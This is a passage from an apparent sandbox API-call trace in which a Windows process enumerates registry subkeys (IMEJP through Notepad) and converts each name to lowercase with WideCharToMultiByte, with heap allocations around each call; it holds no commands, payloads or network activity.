dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0xb3c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0241.507] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.507] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.507] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.507] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.507] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0xb3b9b8, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0241.507] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.507] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0xb3c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0241.507] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.507] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.507] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.507] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.507] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0xb3b9b8, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0241.507] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.507] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0xb3c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0241.507] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.507] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.507] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.507] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.507] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0241.507] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0241.507] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0xb3c1a8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0241.507] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.507] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.507] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.507] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.508] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0241.508] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.508] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0xb3c160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0241.508] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.508] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.508] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.508] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.508] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0241.508] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.508] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0xb3c1a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0241.508] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.508] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.508] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.508] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.508] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0xb3b9b8, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0241.508] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.508] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0xb3c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0241.508] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.508] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.508] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.508] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.508] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Loki") returned 0x0 [0241.508] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0xb3c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0241.509] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0241.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0241.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0xb3c160, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0241.509] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0241.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0241.509] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0241.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0xb3c160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0241.509] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0241.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0241.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0xb3c1a8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0241.509] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0241.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0241.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0xb3c160, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0241.510] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0241.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0xb3c1a8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0241.510] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MMC") returned 0x0 [0241.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0xb3c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0241.510] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0241.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0xb3c1a8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0241.510] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0241.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0xb3c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0241.510] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0241.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0xb3c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0241.511] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0241.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0xb3c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0241.511] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MSF") returned 0x0 [0241.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0241.511] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0241.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0xb3c160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0241.511] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0241.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0xb3c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0241.511] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0241.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0xb3c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0241.512] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0241.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0241.512] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0241.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0xb3c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0241.512] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0xb3b9b8, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0241.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0241.512] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0241.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0xb3c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0241.512] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0xb3b9b8, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0241.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0xb3c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0241.513] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0xb3b9b8, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0241.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0241.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0xb3c160, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0241.513] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0xb3b9b8, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0241.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0xb3c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0241.513] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Network") returned 0x0 [0241.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0xb3c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0241.513] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0xb3b9b8, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0241.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0241.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0xb3c1a8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0241.513] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0241.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0241.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0xb3c160, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0241.514] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0241.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 